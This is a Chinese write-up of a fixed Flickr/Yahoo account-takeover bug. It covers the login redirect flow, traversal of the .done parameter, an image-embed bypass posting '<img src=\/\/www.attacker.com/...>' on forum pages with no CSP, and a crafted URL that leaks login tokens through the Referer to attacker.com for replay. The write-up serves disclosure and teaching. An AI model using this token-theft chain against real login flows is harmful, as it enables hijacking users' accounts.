1

0x01 介绍

Flickr是雅虎旗下提供照片和视频储存、分享的平台网站,官网是flickr.com

这篇文章要说的是如何处理Flickr的身份验证,并请求login.yahoo.com获取用户的访问令牌。

0x02 Flickr.com登录流程概述

当用户想要登录Flickr.com时, 他需要点击一个登录按钮,这个登录按钮会将页面其重定向到以下url:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=
c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https% 3A%2F%2F
login.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.s
crumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done %3Dht
tps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dht
tps%25253A%25252F%25252Fwww.flickr.com%25252F

这是Yahoo的帐户登录页面,用户被提示输入他的凭据。填写完账号密码表单并单击登录后,用户被重定向到了雅虎端点,在其端点上验证他的凭据,然后如果它们有效,则将其重定向到以下Flickr url:

https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.d
ata={first-token-value}&.ys={second-token-value }

现在发生的情况是,它的Flickr后台会在Yahoo验证服务器里面针对验证.ys.data参数,并记录用户参数。

0x03 窃取Flickr.com登录名

所以,如果用户已经登录到Yahoo并点击初始链接:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=
c%3DH6T9XcS72e4mRnW3NpTAiU8ZkA--&.intl=il&.lang=en&mg=1&.done=https% 3A%2F%2F
login.yahoo.com%2Fconfig%2Fvalidate%3F.src%3Dflickrsignin%26.pc%3D8190%26.s
crumb%3D0%26.pd%3Dc%253DJvVF95K62e6PzdPu7MBv2V8-%26.intl%3Dil%26.done %3Dht
tps%253A%252F%252Fwww.flickr.com%252Fsignin%252Fyahoo%252F%253Fredir%253Dht
tps%25253A%25252F%25252Fwww.flickr.com%25252F

这个过程只是在后台发生,而不需要用户在Yahoo中输入他的登录凭证,这导致了严重的账户接管风险,因为用户只需点击单个链接(如在某些OAuth实现里面)来进行身份验证,这样他就可以进行身份验证了。知道了这一点,我开始寻找绕过这个流程的方法。

我注意到的第一件事是我们可以修改第二个.done参数。该参数实际上控制了登录令牌的发送位置。看来雅虎的服务器只通过https://www.flickr.com/signin/yahoo/to头来验证,但是我们仍然可以附加../参数上去所以如果我们将../../test附加到.done的原始值上,则.ys.data令牌将被发送到https://www.flickr.com/test端点。

所以,这给了我们一个方向,因为如果我们在https://www.flickr.com/上找到一个开放的重定向位置,我们将能够将令牌发送到我们自己的服务器。但是,我没有在主域上找到任何一个可以重定向的地方。 所以,我只能寻找其他方法来窃取令牌了。

经过一番挖掘,我遇到了这个页面:

https://www.flickr.com/html.gne?tighten=0&type=comment

其页面中指出图像可以嵌入在不同Flickr页面的评论中。我觉得也许可以在评论中发布一个外部图像,通过引荐的来源字段来窃取令牌到我们的服务器上,因为它们仍然在登录的网址上。所以我发表了一个关于我自己上传的图像的评论与以下内容:

/ img src =“https://attacker.com/someimage.jpg”/>

该图像果然嵌入了评论中,但不幸的是雅虎正在将其src值更改为:

https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C

这实际上是一个内部的Yahoo代理,所以Flickr不会将请求泄露给外部服务器。但我们可以使用一些浏览器技巧,我们修改Flickr图像处理逻辑。并发布以下评论:

<img src=”\/\/www.attacker.com/someimage.jpg” />

该注释没有被代理修改,并且src 值保持原样。那么现在应该发生的是,图像将在照片的注释部分显示,对吧?不,浏览器也将此接受为有效的URL,因此有一些内容安全策略被应用为:

Content-Security-Policy: img-src data: blob: https://*.flickr.com https://*.flickr.net http://*.flic
kr.net https://*.staticflickr.com http://*.staticflickr.com https://*.yimg.com https://*.yahoo.com ht
tps://*.cedexis.com https://*.cedexis-test.com https://*.cedexis-radar.net https://sb.scorecardresear
ch.com https://image.maps.api.here.com https://csync.yahooapis.com https://*.paypal.com https://*.pin
terest.com http://*.static-alpha.flickr.com https://geo-um.btrll.com https://connect.facebook.net htt
ps://*.facebook.com https://bs.serving-sys.com https://*.adserver.yahoo.com https://*.maps.api.here.c
om https://*.maps.cit.api.here.com https://*.ads.yahoo.com https://secure.footprint.net;

在IMG-SRC配置中它被阻止了,因为它不在白名单上,所以我本来就不能嵌入外部图像。

理解了这一点,我尝试查看Flickr上是否有其他端点也允许评论。过了一段时间,我遇到了论坛页面:https://www.flickr.com/help/forum/en-us/。看来这个页面还支持html嵌入功能的评论。更重要的是,似乎CSP没有应用于所有https://www.flickr.com/help/forum/*页面。

所以我在论坛的帖子上发布了以下评论:

<img src=”\/\/www.attacker.com/someimage.jpg” />

它成功工作了,一个外部的图像被嵌入到这里:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

所以我现在要做的就是构建最终的url,如下所示:

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scr
umb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https%3A%2F%2Fwww.flickr.c
om%2Fsignin%2Fyahoo%2F..%2F..%2Fhelp%2Fforum%2Fen-us%2F72157668446997150%2Fpage14%2F

当用户点击链接时他会被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在这里,他的浏览器发生了以下请求:

GET https://www.attacker.com/someimage.jpg HTTP/1.1

Host: www.attacker.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/56.0.2924.87 Safari/537.36

Accept: image/webp,image/*,*/*;q=0.8

Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-to
ken}&.ys={second-token}

Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2

正如你可以看到Referer字段包含发送到www.attacker.com的令牌。那么攻击者现在要做的就是浏览浏览器中的以下url:

https://www.flickr.com/signin/yahoo/?.data={copied from referer}&.ys={copied from referer}

现在他已经登录到了受害者的账户。

0x04 最后

雅虎通过了几个设置来解决这个问题。首先,login.yahoo.com端点上的.done参数仅允许https://www.flickr.com/signin/yahoo/作为有效值。然后,使用“/ \ / \”的图像嵌入逻辑旁路也是固定的。最后,现在CSP应用于整个Flickr论坛。

时间线:

 

*作者:mishre

源链接

Hacking more

...